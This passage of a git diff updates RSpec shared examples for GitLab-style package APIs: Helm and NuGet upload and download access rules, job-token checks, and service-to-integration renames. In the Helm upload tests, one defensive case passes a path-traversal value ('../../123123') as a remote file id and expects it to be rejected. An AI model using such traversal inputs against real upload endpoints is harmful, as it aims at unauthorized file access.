+ ... on #{noteable.class.name.demodulize} {
+ id
+ }
+ }
+ }
+ }
+ QL
+
+ post_graphql(query(fields), current_user: current_user)
+
+ data = graphql_data_at(*path_to_noteable, :discussions, :nodes, :noteable, :id)
+ expect(data[0]).to eq(global_id_of(noteable))
+ end
end
describe '.notes' do
diff --git a/spec/support/shared_examples/requests/api/helm_packages_shared_examples.rb b/spec/support/shared_examples/requests/api/helm_packages_shared_examples.rb
index 585c4fb8a4e..1ad38a17f9c 100644
--- a/spec/support/shared_examples/requests/api/helm_packages_shared_examples.rb
+++ b/spec/support/shared_examples/requests/api/helm_packages_shared_examples.rb
@@ -1,9 +1,9 @@
# frozen_string_literal: true
-RSpec.shared_examples 'rejects helm packages access' do |user_type, status, add_member = true|
+RSpec.shared_examples 'rejects helm packages access' do |user_type, status|
context "for user type #{user_type}" do
before do
- project.send("add_#{user_type}", user) if add_member && user_type != :anonymous
+ project.send("add_#{user_type}", user) if user_type != :anonymous && user_type != :not_a_member
end
it_behaves_like 'returning response status', status
@@ -18,19 +18,170 @@ RSpec.shared_examples 'rejects helm packages access' do |user_type, status, add_
end
end
-RSpec.shared_examples 'process helm download content request' do |user_type, status, add_member = true|
+RSpec.shared_examples 'process helm service index request' do |user_type, status|
context "for user type #{user_type}" do
before do
- project.send("add_#{user_type}", user) if add_member && user_type != :anonymous
+ project.send("add_#{user_type}", user) if user_type != :anonymous && user_type != :not_a_member
end
- it_behaves_like 'returning response status', status
+ it 'returns a valid YAML response', :aggregate_failures do
+ subject
+
+ expect(response).to have_gitlab_http_status(status)
+
+ expect(response.media_type).to eq('text/yaml')
+ expect(response.body).to start_with("---\napiVersion: v1\nentries:\n")
+
+ yaml_response = YAML.safe_load(response.body)
+
+ expect(yaml_response.keys).to contain_exactly('apiVersion', 'entries', 'generated', 'serverInfo')
+ expect(yaml_response['entries']).to be_a(Hash)
+ expect(yaml_response['entries'].keys).to contain_exactly(package.name)
+ expect(yaml_response['serverInfo']).to eq({ 'contextPath' => "/api/v4/projects/#{project.id}/packages/helm" })
+
+ package_entry = yaml_response['entries'][package.name]
+
+ expect(package_entry.length).to eq(1)
+ expect(package_entry.first.keys).to contain_exactly('name', 'version', 'apiVersion', 'created', 'digest', 'urls')
+ expect(package_entry.first['digest']).to eq('fd2b2fa0329e80a2a602c2bb3b40608bcd6ee5cf96cf46fd0d2800a4c129c9db')
+ expect(package_entry.first['urls']).to eq(["charts/#{package.name}-#{package.version}.tgz"])
+ end
+ end
+end
+
+RSpec.shared_examples 'process helm workhorse authorization' do |user_type, status, test_bypass: false|
+ context "for user type #{user_type}" do
+ before do
+ project.send("add_#{user_type}", user) if user_type != :anonymous && user_type != :not_a_member
+ end
+
+ it 'has the proper status and content type' do
+ subject
+
+ expect(response).to have_gitlab_http_status(status)
+ expect(response.media_type).to eq(Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE)
+ end
+
+ context 'with a request that bypassed gitlab-workhorse' do
+ let(:headers) do
+ basic_auth_header(user.username, personal_access_token.token)
+ .merge(workhorse_headers)
+ .tap { |h| h.delete(Gitlab::Workhorse::INTERNAL_API_REQUEST_HEADER) }
+ end
+
+ before do
+ project.add_maintainer(user)
+ end
+
+ it_behaves_like 'returning response status', :forbidden
+ end
+ end
+end
+
+RSpec.shared_examples 'process helm upload' do |user_type, status|
+ shared_examples 'creates helm package files' do
+ it 'creates package files' do
+ expect(::Packages::Helm::ExtractionWorker).to receive(:perform_async).once
+ expect { subject }
+ .to change { project.packages.count }.by(1)
+ .and change { Packages::PackageFile.count }.by(1)
+ expect(response).to have_gitlab_http_status(status)
+
+ package_file = project.packages.last.package_files.reload.last
+ expect(package_file.file_name).to eq('package.tgz')
+ end
+ end
+
+ context "for user type #{user_type}" do
+ before do
+ project.send("add_#{user_type}", user) if user_type != :anonymous && user_type != :not_a_member
+ end
+
+ context 'with object storage disabled' do
+ before do
+ stub_package_file_object_storage(enabled: false)
+ end
+
+ context 'without a file from workhorse' do
+ let(:send_rewritten_field) { false }
+
+ it_behaves_like 'returning response status', :bad_request
+ end
+
+ context 'with correct params' do
+ it_behaves_like 'package workhorse uploads'
+ it_behaves_like 'creates helm package files'
+ it_behaves_like 'a package tracking event', 'API::HelmPackages', 'push_package'
+ end
+ end
+
+ context 'with object storage enabled' do
+ let(:tmp_object) do
+ fog_connection.directories.new(key: 'packages').files.create( # rubocop:disable Rails/SaveBang
+ key: "tmp/uploads/#{file_name}",
+ body: 'content'
+ )
+ end
+
+ let(:fog_file) { fog_to_uploaded_file(tmp_object) }
+ let(:params) { { chart: fog_file, 'chart.remote_id' => file_name } }
+
+ context 'and direct upload enabled' do
+ let(:fog_connection) do
+ stub_package_file_object_storage(direct_upload: true)
+ end
+
+ it_behaves_like 'creates helm package files'
+
+ ['123123', '../../123123'].each do |remote_id|
+ context "with invalid remote_id: #{remote_id}" do
+ let(:params) do
+ {
+ chart: fog_file,
+ 'chart.remote_id' => remote_id
+ }
+ end
+
+ it_behaves_like 'returning response status', :forbidden
+ end
+ end
+ end
+
+ context 'and direct upload disabled' do
+ context 'and background upload disabled' do
+ let(:fog_connection) do
+ stub_package_file_object_storage(direct_upload: false, background_upload: false)
+ end
+
+ it_behaves_like 'creates helm package files'
+ end
+
+ context 'and background upload enabled' do
+ let(:fog_connection) do
+ stub_package_file_object_storage(direct_upload: false, background_upload: true)
+ end
+
+ it_behaves_like 'creates helm package files'
+ end
+ end
+ end
+
+ it_behaves_like 'background upload schedules a file migration'
+ end
+end
+
+RSpec.shared_examples 'process helm download content request' do |user_type, status|
+ context "for user type #{user_type}" do
+ before do
+ project.send("add_#{user_type}", user) if user_type != :anonymous && user_type != :not_a_member
+ end
it_behaves_like 'a package tracking event', 'API::HelmPackages', 'pull_package'
- it 'returns a valid package archive' do
+ it 'returns expected status and a valid package archive' do
subject
+ expect(response).to have_gitlab_http_status(status)
expect(response.media_type).to eq('application/octet-stream')
end
end
@@ -51,3 +202,69 @@ RSpec.shared_examples 'rejects helm access with unknown project id' do
end
end
end
+
+RSpec.shared_examples 'handling helm chart index requests' do
+ context 'with valid project' do
+ subject { get api(url), headers: headers }
+
+ using RSpec::Parameterized::TableSyntax
+
+ context 'personal token' do
+ where(:visibility, :user_role, :shared_examples_name, :expected_status) do
+ :public | :guest | 'process helm service index request' | :success
+ :public | :not_a_member | 'process helm service index request' | :success
+ :public | :anonymous | 'process helm service index request' | :success
+ :private | :reporter | 'process helm service index request' | :success
+ :private | :guest | 'rejects helm packages access' | :forbidden
+ :private | :not_a_member | 'rejects helm packages access' | :not_found
+ :private | :anonymous | 'rejects helm packages access' | :unauthorized
+ end
+
+ with_them do
+ let(:headers) { user_role == :anonymous ? {} : basic_auth_header(user.username, personal_access_token.token) }
+
+ before do
+ project.update!(visibility: visibility.to_s)
+ end
+
+ it_behaves_like params[:shared_examples_name], params[:user_role], params[:expected_status]
+ end
+ end
+
+ context 'when an invalid token is passed' do
+ let(:headers) { basic_auth_header(user.username, 'wrong') }
+
+ it_behaves_like 'returning response status', :unauthorized
+ end
+
+ context 'with job token' do
+ where(:visibility, :user_role, :shared_examples_name, :expected_status) do
+ :public | :guest | 'process helm service index request' | :success
+ :public | :not_a_member | 'process helm service index request' | :success
+ :public | :anonymous | 'process helm service index request' | :success
+ :private | :reporter | 'process helm service index request' | :success
+ :private | :guest | 'rejects helm packages access' | :forbidden
+ :private | :not_a_member | 'rejects helm packages access' | :not_found
+ :private | :anonymous | 'rejects helm packages access' | :unauthorized
+ end
+
+ with_them do
+ let_it_be(:ci_build) { create(:ci_build, project: project, user: user, status: :running) }
+
+ let(:headers) { user_role == :anonymous ? {} : job_basic_auth_header(ci_build) }
+
+ before do
+ project.update!(visibility: visibility.to_s)
+ end
+
+ it_behaves_like params[:shared_examples_name], params[:user_role], params[:expected_status]
+ end
+ end
+ end
+
+ it_behaves_like 'deploy token for package GET requests'
+
+ it_behaves_like 'rejects helm access with unknown project id' do
+ subject { get api(url) }
+ end
+end
diff --git a/spec/support/shared_examples/requests/api/nuget_packages_shared_examples.rb b/spec/support/shared_examples/requests/api/nuget_packages_shared_examples.rb
index 617fdecbb5b..878cbc10a24 100644
--- a/spec/support/shared_examples/requests/api/nuget_packages_shared_examples.rb
+++ b/spec/support/shared_examples/requests/api/nuget_packages_shared_examples.rb
@@ -136,8 +136,8 @@ RSpec.shared_examples 'process nuget workhorse authorization' do |user_type, sta
end
end
-RSpec.shared_examples 'process nuget upload' do |user_type, status, add_member = true|
- RSpec.shared_examples 'creates nuget package files' do
+RSpec.shared_examples 'process nuget upload' do |user_type, status, add_member = true, symbol_package = false|
+ shared_examples 'creates nuget package files' do
it 'creates package files' do
expect(::Packages::Nuget::ExtractionWorker).to receive(:perform_async).once
expect { subject }
@@ -146,7 +146,7 @@ RSpec.shared_examples 'process nuget upload' do |user_type, status, add_member =
expect(response).to have_gitlab_http_status(status)
package_file = target.packages.last.package_files.reload.last
- expect(package_file.file_name).to eq('package.nupkg')
+ expect(package_file.file_name).to eq(file_name)
end
end
@@ -169,7 +169,12 @@ RSpec.shared_examples 'process nuget upload' do |user_type, status, add_member =
context 'with correct params' do
it_behaves_like 'package workhorse uploads'
it_behaves_like 'creates nuget package files'
- it_behaves_like 'a package tracking event', 'API::NugetPackages', 'push_package'
+
+ if symbol_package
+ it_behaves_like 'a package tracking event', 'API::NugetPackages', 'push_symbol_package'
+ else
+ it_behaves_like 'a package tracking event', 'API::NugetPackages', 'push_package'
+ end
end
end
@@ -300,6 +305,18 @@ RSpec.shared_examples 'process nuget download content request' do |user_type, st
it_behaves_like 'rejects nuget packages access', :anonymous, :not_found
end
+ context 'with symbol package' do
+ let(:format) { 'snupkg' }
+
+ it 'returns a valid package archive' do
+ subject
+
+ expect(response.media_type).to eq('application/octet-stream')
+ end
+
+ it_behaves_like 'a package tracking event', 'API::NugetPackages', 'pull_symbol_package'
+ end
+
context 'with lower case package name' do
let_it_be(:package_name) { 'dummy.package' }
@@ -407,3 +424,114 @@ RSpec.shared_examples 'rejects nuget access with unknown target id' do
end
end
end
+
+RSpec.shared_examples 'nuget authorize upload endpoint' do
+ using RSpec::Parameterized::TableSyntax
+
+ context 'with valid project' do
+ where(:visibility_level, :user_role, :member, :user_token, :shared_examples_name, :expected_status) do
+ 'PUBLIC' | :developer | true | true | 'process nuget workhorse authorization' | :success
+ 'PUBLIC' | :guest | true | true | 'rejects nuget packages access' | :forbidden
+ 'PUBLIC' | :developer | true | false | 'rejects nuget packages access' | :unauthorized
+ 'PUBLIC' | :guest | true | false | 'rejects nuget packages access' | :unauthorized
+ 'PUBLIC' | :developer | false | true | 'rejects nuget packages access' | :forbidden
+ 'PUBLIC' | :guest | false | true | 'rejects nuget packages access' | :forbidden
+ 'PUBLIC' | :developer | false | false | 'rejects nuget packages access' | :unauthorized
+ 'PUBLIC' | :guest | false | false | 'rejects nuget packages access' | :unauthorized
+ 'PUBLIC' | :anonymous | false | true | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :developer | true | true | 'process nuget workhorse authorization' | :success
+ 'PRIVATE' | :guest | true | true | 'rejects nuget packages access' | :forbidden
+ 'PRIVATE' | :developer | true | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :guest | true | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :developer | false | true | 'rejects nuget packages access' | :not_found
+ 'PRIVATE' | :guest | false | true | 'rejects nuget packages access' | :not_found
+ 'PRIVATE' | :developer | false | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :guest | false | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :anonymous | false | true | 'rejects nuget packages access' | :unauthorized
+ end
+
+ with_them do
+ let(:token) { user_token ? personal_access_token.token : 'wrong' }
+ let(:user_headers) { user_role == :anonymous ? {} : basic_auth_header(user.username, token) }
+ let(:headers) { user_headers.merge(workhorse_headers) }
+
+ before do
+ update_visibility_to(Gitlab::VisibilityLevel.const_get(visibility_level, false))
+ end
+
+ it_behaves_like params[:shared_examples_name], params[:user_role], params[:expected_status], params[:member]
+ end
+ end
+
+ it_behaves_like 'deploy token for package uploads'
+
+ it_behaves_like 'job token for package uploads', authorize_endpoint: true do
+ let_it_be(:job) { create(:ci_build, :running, user: user, project: project) }
+ end
+
+ it_behaves_like 'rejects nuget access with unknown target id'
+
+ it_behaves_like 'rejects nuget access with invalid target id'
+end
+
+RSpec.shared_examples 'nuget upload endpoint' do |symbol_package: false|
+ using RSpec::Parameterized::TableSyntax
+
+ context 'with valid project' do
+ where(:visibility_level, :user_role, :member, :user_token, :shared_examples_name, :expected_status) do
+ 'PUBLIC' | :developer | true | true | 'process nuget upload' | :created
+ 'PUBLIC' | :guest | true | true | 'rejects nuget packages access' | :forbidden
+ 'PUBLIC' | :developer | true | false | 'rejects nuget packages access' | :unauthorized
+ 'PUBLIC' | :guest | true | false | 'rejects nuget packages access' | :unauthorized
+ 'PUBLIC' | :developer | false | true | 'rejects nuget packages access' | :forbidden
+ 'PUBLIC' | :guest | false | true | 'rejects nuget packages access' | :forbidden
+ 'PUBLIC' | :developer | false | false | 'rejects nuget packages access' | :unauthorized
+ 'PUBLIC' | :guest | false | false | 'rejects nuget packages access' | :unauthorized
+ 'PUBLIC' | :anonymous | false | true | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :developer | true | true | 'process nuget upload' | :created
+ 'PRIVATE' | :guest | true | true | 'rejects nuget packages access' | :forbidden
+ 'PRIVATE' | :developer | true | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :guest | true | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :developer | false | true | 'rejects nuget packages access' | :not_found
+ 'PRIVATE' | :guest | false | true | 'rejects nuget packages access' | :not_found
+ 'PRIVATE' | :developer | false | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :guest | false | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :anonymous | false | true | 'rejects nuget packages access' | :unauthorized
+ end
+
+ with_them do
+ let(:token) { user_token ? personal_access_token.token : 'wrong' }
+ let(:user_headers) { user_role == :anonymous ? {} : basic_auth_header(user.username, token) }
+ let(:headers) { user_headers.merge(workhorse_headers) }
+ let(:snowplow_gitlab_standard_context) { { project: project, user: user, namespace: project.namespace } }
+
+ before do
+ update_visibility_to(Gitlab::VisibilityLevel.const_get(visibility_level, false))
+ end
+
+ it_behaves_like params[:shared_examples_name], params[:user_role], params[:expected_status], params[:member], symbol_package
+ end
+ end
+
+ it_behaves_like 'deploy token for package uploads'
+
+ it_behaves_like 'job token for package uploads' do
+ let_it_be(:job) { create(:ci_build, :running, user: user, project: project) }
+ end
+
+ it_behaves_like 'rejects nuget access with unknown target id'
+
+ it_behaves_like 'rejects nuget access with invalid target id'
+
+ context 'file size above maximum limit' do
+ let(:headers) { basic_auth_header(deploy_token.username, deploy_token.token).merge(workhorse_headers) }
+
+ before do
+ allow_next_instance_of(UploadedFile) do |uploaded_file|
+ allow(uploaded_file).to receive(:size).and_return(project.actual_limits.nuget_max_file_size + 1)
+ end
+ end
+
+ it_behaves_like 'returning response status', :bad_request
+ end
+end
diff --git a/spec/support/shared_examples/requests/api/packages_shared_examples.rb b/spec/support/shared_examples/requests/api/packages_shared_examples.rb
index 42c29084d7b..ecde4ee8565 100644
--- a/spec/support/shared_examples/requests/api/packages_shared_examples.rb
+++ b/spec/support/shared_examples/requests/api/packages_shared_examples.rb
@@ -100,7 +100,7 @@ RSpec.shared_examples 'job token for package GET requests' do
end
end
-RSpec.shared_examples 'job token for package uploads' do |authorize_endpoint: false|
+RSpec.shared_examples 'job token for package uploads' do |authorize_endpoint: false, accept_invalid_username: false|
context 'with job token headers' do
let(:headers) { basic_auth_header(::Gitlab::Auth::CI_JOB_USER, job.token).merge(workhorse_headers) }
@@ -133,7 +133,11 @@ RSpec.shared_examples 'job token for package uploads' do |authorize_endpoint: fa
context 'invalid user' do
let(:headers) { basic_auth_header('foo', job.token).merge(workhorse_headers) }
- it_behaves_like 'returning response status', :unauthorized
+ if accept_invalid_username
+ it_behaves_like 'returning response status', :success
+ else
+ it_behaves_like 'returning response status', :unauthorized
+ end
end
end
end
@@ -143,7 +147,7 @@ RSpec.shared_examples 'a package tracking event' do |category, action|
stub_feature_flags(collect_package_events: true)
end
- it "creates a gitlab tracking event #{action}", :snowplow do
+ it "creates a gitlab tracking event #{action}", :snowplow, :aggregate_failures do
expect { subject }.to change { Packages::Event.count }.by(1)
expect_snowplow_event(category: category, action: action, **snowplow_gitlab_standard_context)
diff --git a/spec/support/shared_examples/services/alert_management/alert_processing/alert_firing_shared_examples.rb b/spec/support/shared_examples/services/alert_management/alert_processing/alert_firing_shared_examples.rb
index 218a3462c35..92a7d7ab3a3 100644
--- a/spec/support/shared_examples/services/alert_management/alert_processing/alert_firing_shared_examples.rb
+++ b/spec/support/shared_examples/services/alert_management/alert_processing/alert_firing_shared_examples.rb
@@ -13,7 +13,7 @@ RSpec.shared_examples 'creates an alert management alert or errors' do
it 'executes the alert service hooks' do
expect_next_instance_of(AlertManagement::Alert) do |alert|
- expect(alert).to receive(:execute_services)
+ expect(alert).to receive(:execute_integrations)
end
subject
@@ -84,7 +84,7 @@ end
# - `alert`, the alert for which events should be incremented
RSpec.shared_examples 'adds an alert management alert event' do
specify do
- expect(alert).not_to receive(:execute_services)
+ expect(alert).not_to receive(:execute_integrations)
expect { subject }.to change { alert.reload.events }.by(1)
diff --git a/spec/support/shared_examples/services/alert_management/alert_processing/incident_creation_shared_examples.rb b/spec/support/shared_examples/services/alert_management/alert_processing/incident_creation_shared_examples.rb
index c6ac07b6dd5..98834f01ce2 100644
--- a/spec/support/shared_examples/services/alert_management/alert_processing/incident_creation_shared_examples.rb
+++ b/spec/support/shared_examples/services/alert_management/alert_processing/incident_creation_shared_examples.rb
@@ -20,7 +20,7 @@ end
RSpec.shared_examples 'processes incident issues' do |with_issue: false|
before do
allow_next_instance_of(AlertManagement::Alert) do |alert|
- allow(alert).to receive(:execute_services)
+ allow(alert).to receive(:execute_integrations)
end
end
diff --git a/spec/support/shared_examples/services/container_registry_auth_service_shared_examples.rb b/spec/support/shared_examples/services/container_registry_auth_service_shared_examples.rb
index ba176b616c3..eafcbd77040 100644
--- a/spec/support/shared_examples/services/container_registry_auth_service_shared_examples.rb
+++ b/spec/support/shared_examples/services/container_registry_auth_service_shared_examples.rb
@@ -157,8 +157,13 @@ end
RSpec.shared_examples 'a container registry auth service' do
include_context 'container registry auth service context'
+ before do
+ stub_feature_flags(container_registry_migration_phase1: false)
+ end
+
describe '#full_access_token' do
let_it_be(:project) { create(:project) }
+
let(:token) { described_class.full_access_token(project.full_path) }
subject { { token: token } }
@@ -172,6 +177,7 @@ RSpec.shared_examples 'a container registry auth service' do
describe '#pull_access_token' do
let_it_be(:project) { create(:project) }
+
let(:token) { described_class.pull_access_token(project.full_path) }
subject { { token: token } }
@@ -432,6 +438,7 @@ RSpec.shared_examples 'a container registry auth service' do
context 'for external user' do
context 'disallow anyone to pull or push images' do
let_it_be(:current_user) { create(:user, external: true) }
+
let(:current_params) do
{ scopes: ["repository:#{project.full_path}:pull,push"] }
end
@@ -442,6 +449,7 @@ RSpec.shared_examples 'a container registry auth service' do
context 'disallow anyone to delete images' do
let_it_be(:current_user) { create(:user, external: true) }
+
let(:current_params) do
{ scopes: ["repository:#{project.full_path}:*"] }
end
@@ -452,6 +460,7 @@ RSpec.shared_examples 'a container registry auth service' do
context 'disallow anyone to delete images since registry 2.7' do
let_it_be(:current_user) { create(:user, external: true) }
+
let(:current_params) do
{ scopes: ["repository:#{project.full_path}:delete"] }
end
@@ -620,6 +629,22 @@ RSpec.shared_examples 'a container registry auth service' do
end
end
end
+
+ context 'for project with private container registry' do
+ let_it_be(:project, reload: true) { create(:project, :public) }
+
+ before do
+ project.project_feature.update!(container_registry_access_level: ProjectFeature::PRIVATE)
+ end
+
+ it_behaves_like 'pullable for being team member'
+
+ context 'when you are admin' do
+ let_it_be(:current_user) { create(:admin) }
+
+ it_behaves_like 'pullable for being team member'
+ end
+ end
end
context 'when pushing' do
diff --git a/spec/support/shared_examples/services/jira_import/user_mapper_services_shared_examples.rb b/spec/support/shared_examples/services/jira_import/user_mapper_services_shared_examples.rb
index cbe5c7d89db..0151723793e 100644
--- a/spec/support/shared_examples/services/jira_import/user_mapper_services_shared_examples.rb
+++ b/spec/support/shared_examples/services/jira_import/user_mapper_services_shared_examples.rb
@@ -3,7 +3,7 @@
RSpec.shared_examples 'mapping jira users' do
let(:client) { double }
- let_it_be(:jira_service) { create(:jira_service, project: project, active: true) }
+ let_it_be(:jira_integration) { create(:jira_integration, project: project, active: true) }
before do
allow(subject).to receive(:client).and_return(client)
diff --git a/spec/support/shared_examples/services/packages_shared_examples.rb b/spec/support/shared_examples/services/packages_shared_examples.rb
index 72878e925dc..6bc4f171d9c 100644
--- a/spec/support/shared_examples/services/packages_shared_examples.rb
+++ b/spec/support/shared_examples/services/packages_shared_examples.rb
@@ -43,6 +43,7 @@ end
RSpec.shared_examples 'assigns status to package' do
context 'with status param' do
let_it_be(:status) { 'hidden' }
+
let(:params) { super().merge(status: status) }
it 'assigns the status to the package' do
diff --git a/spec/support/shared_examples/services/projects/update_repository_storage_service_shared_examples.rb b/spec/support/shared_examples/services/projects/update_repository_storage_service_shared_examples.rb
index 275ddebc18c..14af35e58b7 100644
--- a/spec/support/shared_examples/services/projects/update_repository_storage_service_shared_examples.rb
+++ b/spec/support/shared_examples/services/projects/update_repository_storage_service_shared_examples.rb
@@ -123,9 +123,10 @@ RSpec.shared_examples 'moves repository to another storage' do |repository_type|
.with(repository.raw)
.and_raise(Gitlab::Git::CommandError)
- result = subject.execute
+ expect do
+ subject.execute
+ end.to raise_error(Gitlab::Git::CommandError)
- expect(result).to be_error
expect(project).not_to be_repository_read_only
expect(project.repository_storage).to eq('default')
expect(repository_storage_move).to be_failed
@@ -149,9 +150,10 @@ RSpec.shared_examples 'moves repository to another storage' do |repository_type|
expect(original_repository_double).to receive(:remove)
.and_raise(Gitlab::Git::CommandError)
- result = subject.execute
+ expect do
+ subject.execute
+ end.to raise_error(Gitlab::Git::CommandError)
- expect(result).to be_error
expect(repository_storage_move).to be_cleanup_failed
end
end
@@ -170,9 +172,10 @@ RSpec.shared_examples 'moves repository to another storage' do |repository_type|
allow(repository_double).to receive(:checksum)
.and_return('not matching checksum')
- result = subject.execute
+ expect do
+ subject.execute
+ end.to raise_error(UpdateRepositoryStorageMethods::Error, /Failed to verify \w+ repository checksum from \w+ to not matching checksum/)
- expect(result).to be_error
expect(project).not_to be_repository_read_only
expect(project.repository_storage).to eq('default')
end
diff --git a/spec/support/shared_examples/services/service_ping/complete_service_ping_payload_shared_examples.rb b/spec/support/shared_examples/services/service_ping/complete_service_ping_payload_shared_examples.rb
new file mode 100644
index 00000000000..8dcff99fb6f
--- /dev/null
+++ b/spec/support/shared_examples/services/service_ping/complete_service_ping_payload_shared_examples.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'complete service ping payload' do
+ it_behaves_like 'service ping payload with all expected metrics' do
+ let(:expected_metrics) do
+ standard_metrics + subscription_metrics + operational_metrics + optional_metrics
+ end
+ end
+end
diff --git a/spec/support/shared_examples/services/service_ping/service_ping_payload_with_all_expected_metrics_shared_examples.rb b/spec/support/shared_examples/services/service_ping/service_ping_payload_with_all_expected_metrics_shared_examples.rb
new file mode 100644
index 00000000000..535e7291b7e
--- /dev/null
+++ b/spec/support/shared_examples/services/service_ping/service_ping_payload_with_all_expected_metrics_shared_examples.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'service ping payload with all expected metrics' do
+ specify do
+ aggregate_failures do
+ expected_metrics.each do |metric|
+ is_expected.to have_usage_metric metric['key_path']
+ end
+ end
+ end
+end
diff --git a/spec/support/shared_examples/services/service_ping/service_ping_payload_without_restricted_metrics_shared_examples.rb b/spec/support/shared_examples/services/service_ping/service_ping_payload_without_restricted_metrics_shared_examples.rb
new file mode 100644
index 00000000000..9f18174cbc7
--- /dev/null
+++ b/spec/support/shared_examples/services/service_ping/service_ping_payload_without_restricted_metrics_shared_examples.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'service ping payload without restricted metrics' do
+ specify do
+ aggregate_failures do
+ restricted_metrics.each do |metric|
+ is_expected.not_to have_usage_metric metric['key_path']
+ end
+ end
+ end
+end
diff --git a/spec/support/shared_examples/services/snippets_shared_examples.rb b/spec/support/shared_examples/services/snippets_shared_examples.rb
index 0c4db7ded69..5a44f739b27 100644
--- a/spec/support/shared_examples/services/snippets_shared_examples.rb
+++ b/spec/support/shared_examples/services/snippets_shared_examples.rb
@@ -1,23 +1,6 @@
# frozen_string_literal: true
RSpec.shared_examples 'checking spam' do
- let(:request) { double(:request, headers: headers) }
- let(:headers) { nil }
- let(:api) { true }
- let(:captcha_response) { 'abc123' }
- let(:spam_log_id) { 1 }
- let(:disable_spam_action_service) { false }
-
- let(:extra_opts) do
- {
- request: request,
- api: api,
- captcha_response: captcha_response,
- spam_log_id: spam_log_id,
- disable_spam_action_service: disable_spam_action_service
- }
- end
-
before do
allow_next_instance_of(UserAgentDetailService) do |instance|
allow(instance).to receive(:create)
@@ -25,73 +8,20 @@ RSpec.shared_examples 'checking spam' do
end
it 'executes SpamActionService' do
- spam_params = Spam::SpamParams.new(
- api: api,
- captcha_response: captcha_response,
- spam_log_id: spam_log_id
- )
expect_next_instance_of(
Spam::SpamActionService,
{
spammable: kind_of(Snippet),
- request: request,
+ spam_params: spam_params,
user: an_instance_of(User),
action: action
}
) do |instance|
- expect(instance).to receive(:execute).with(spam_params: spam_params)
+ expect(instance).to receive(:execute)
end
subject
end
-
- context 'when CAPTCHA arguments are passed in the headers' do
- let(:headers) do
- {
- 'X-GitLab-Spam-Log-Id' => spam_log_id,
- 'X-GitLab-Captcha-Response' => captcha_response
- }
- end
-
- let(:extra_opts) do
- {
- request: request,
- api: api,
- disable_spam_action_service: disable_spam_action_service
- }
- end
-
- it 'executes the SpamActionService correctly' do
- spam_params = Spam::SpamParams.new(
- api: api,
- captcha_response: captcha_response,
- spam_log_id: spam_log_id
- )
- expect_next_instance_of(
- Spam::SpamActionService,
- {
- spammable: kind_of(Snippet),
- request: request,
- user: an_instance_of(User),
- action: action
- }
- ) do |instance|
- expect(instance).to receive(:execute).with(spam_params: spam_params)
- end
-
- subject
- end
- end
-
- context 'when spam action service is disabled' do
- let(:disable_spam_action_service) { true }
-
- it 'request parameter is not passed to the service' do
- expect(Spam::SpamActionService).not_to receive(:new)
-
- subject
- end
- end
end
shared_examples 'invalid params error response' do
diff --git a/spec/support/shared_examples/services/wikis/create_attachment_service_shared_examples.rb b/spec/support/shared_examples/services/wikis/create_attachment_service_shared_examples.rb
index 555a6d5eed0..1646c18a0ed 100644
--- a/spec/support/shared_examples/services/wikis/create_attachment_service_shared_examples.rb
+++ b/spec/support/shared_examples/services/wikis/create_attachment_service_shared_examples.rb
@@ -25,6 +25,25 @@ RSpec.shared_examples 'Wikis::CreateAttachmentService#execute' do |container_typ
container.add_developer(user)
end
+ context 'creates wiki repository if it does not exist' do
+ let(:container) { create(container_type) } # rubocop:disable Rails/SaveBang
+
+ it 'creates wiki repository' do
+ expect { service.execute }.to change { container.wiki.repository.exists? }.to(true)
+ end
+
+ context 'if an error is raised creating the repository' do
+ it 'catches error and return gracefully' do
+ allow(container.wiki).to receive(:repository_exists?).and_return(false)
+
+ result = service.execute
+
+ expect(result[:status]).to eq :error
+ expect(result[:message]).to eq 'Error creating the wiki repository'
+ end
+ end
+ end
+
context 'creates branch if it does not exists' do
let(:branch_name) { 'new_branch' }
let(:opts) { file_opts.merge(branch_name: branch_name) }
diff --git a/spec/support/shared_examples/workers/in_product_marketing_email_shared_example.rb b/spec/support/shared_examples/workers/in_product_marketing_email_shared_example.rb
deleted file mode 100644
index c4391f61369..00000000000
--- a/spec/support/shared_examples/workers/in_product_marketing_email_shared_example.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-# frozen_string_literal: true
-
-RSpec.shared_examples 'in-product marketing email' do
- before do
- stub_application_setting(in_product_marketing_emails_enabled: in_product_marketing_emails_enabled)
- stub_experiment(in_product_marketing_emails: experiment_active)
- allow(::Gitlab).to receive(:com?).and_return(is_gitlab_com)
- end
-
- it 'executes the email service service' do
- expect(Namespaces::InProductMarketingEmailsService).to receive(:send_for_all_tracks_and_intervals).exactly(executes_service).times
-
- subject.perform
- end
-end
diff --git a/spec/support/sidekiq.rb b/spec/support/sidekiq.rb
index 374997af1ec..dc475b92c0b 100644
--- a/spec/support/sidekiq.rb
+++ b/spec/support/sidekiq.rb
@@ -20,4 +20,25 @@ RSpec.configure do |config|
config.around(:example, :sidekiq_inline) do |example|
gitlab_sidekiq_inline { example.run }
end
+
+ # Some specs need to run mailers through Sidekiq explicitly, rather
+ # than the ActiveJob test adapter. There is a Rails bug that means we
+ # have to do some extra steps to make this happen:
+ # https://github.com/rails/rails/issues/37270
+ #
+ # In particular, we can't use an `around` hook because then the 'before' part
+ # of that will run before the `before_setup` hook in ActiveJob::TestHelper,
+ # which doesn't do what we want.
+ #
+ config.before(:example, :sidekiq_mailers) do
+ queue_adapter_changed_jobs.each { |k| k.queue_adapter = :sidekiq }
+ queue_adapter_changed_jobs.each(&:disable_test_adapter)
+ end
+
+ config.after(:example, :sidekiq_mailers) do
+ queue_adapter_changed_jobs.each do |klass|
+ klass.queue_adapter = :test
+ klass.enable_test_adapter(ActiveJob::QueueAdapters::TestAdapter.new)
+ end
+ end
end
